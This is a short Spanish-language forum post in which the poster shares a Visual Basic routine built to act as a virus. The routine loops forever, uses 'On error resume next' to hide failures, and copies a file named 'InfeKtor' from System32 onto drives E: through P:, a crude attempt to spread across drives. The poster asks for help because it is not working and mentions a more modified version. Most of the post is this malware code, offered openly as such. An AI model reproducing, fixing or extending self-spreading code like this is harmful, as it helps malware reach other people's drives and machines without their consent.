Jaja Lo decia por vos.! jaja
Justamente, intente tambien con el sub form load y elend sub pero sin embargo sigue sin cumplir sus funciones como virus..
Probre esto y no funciona
Código [Seleccionar]
Do
i = i +1
If i = 2 Then
On error resume next
Set Plaga = CreateObject("Scripting.FileSystemObject")
Plaga.CopyFile ".C:\Windows\System32\InfeKtor", "E:\"
On error resume next
Set Plaga = CreateObject("Scripting.FileSystemObject")
Plaga.CopyFile "C:\Windows\System32\InfeKtor", "F:\"
On error resume next
Set Plaga = CreateObject("Scripting.FileSystemObject")
Plaga.CopyFile "C:\Windows\System32\InfeKtor", "G:\"
On error resume next
Set Plaga = CreateObject("Scripting.FileSystemObject")
Plaga.CopyFile "C:\Windows\System32\InfeKtor", "H:\"
On error resume next
Set Plaga = CreateObject("Scripting.FileSystemObject")
Plaga.CopyFile "C:\Windows\System32\InfeKtor", "I:\"
On error resume next
Set Plaga = CreateObject("Scripting.FileSystemObject")
Plaga.CopyFile "C:\Windows\System32\InfeKtor", "J:\"
On error resume next
Set Plaga = CreateObject("Scripting.FileSystemObject")
Plaga.CopyFile "C:\Windows\System32\InfeKtor", "K:\"
On error resume next
Set Plaga = CreateObject("Scripting.FileSystemObject")
Plaga.CopyFile "C:\Windows\System32\InfeKtor", "L:\"
On error resume next
Set Plaga = CreateObject("Scripting.FileSystemObject")
Plaga.CopyFile "C:\Windows\System32\InfeKtor", "M:\"
On error resume next
Set Plaga = CreateObject("Scripting.FileSystemObject")
Plaga.CopyFile "C:\Windows\System32\InfeKtor", "N:\"
On error resume next
Set Plaga = CreateObject("Scripting.FileSystemObject")
Plaga.CopyFile "C:\Windows\System32\InfeKtor", "O:\"
On error resume next
Set Plaga = CreateObject("Scripting.FileSystemObject")
Plaga.CopyFile "C:\Windows\System32\InfeKtor", "P:\"
i=0
End If
Loop
es basico, actualmente esta bastante modificado..
SALUD.O.S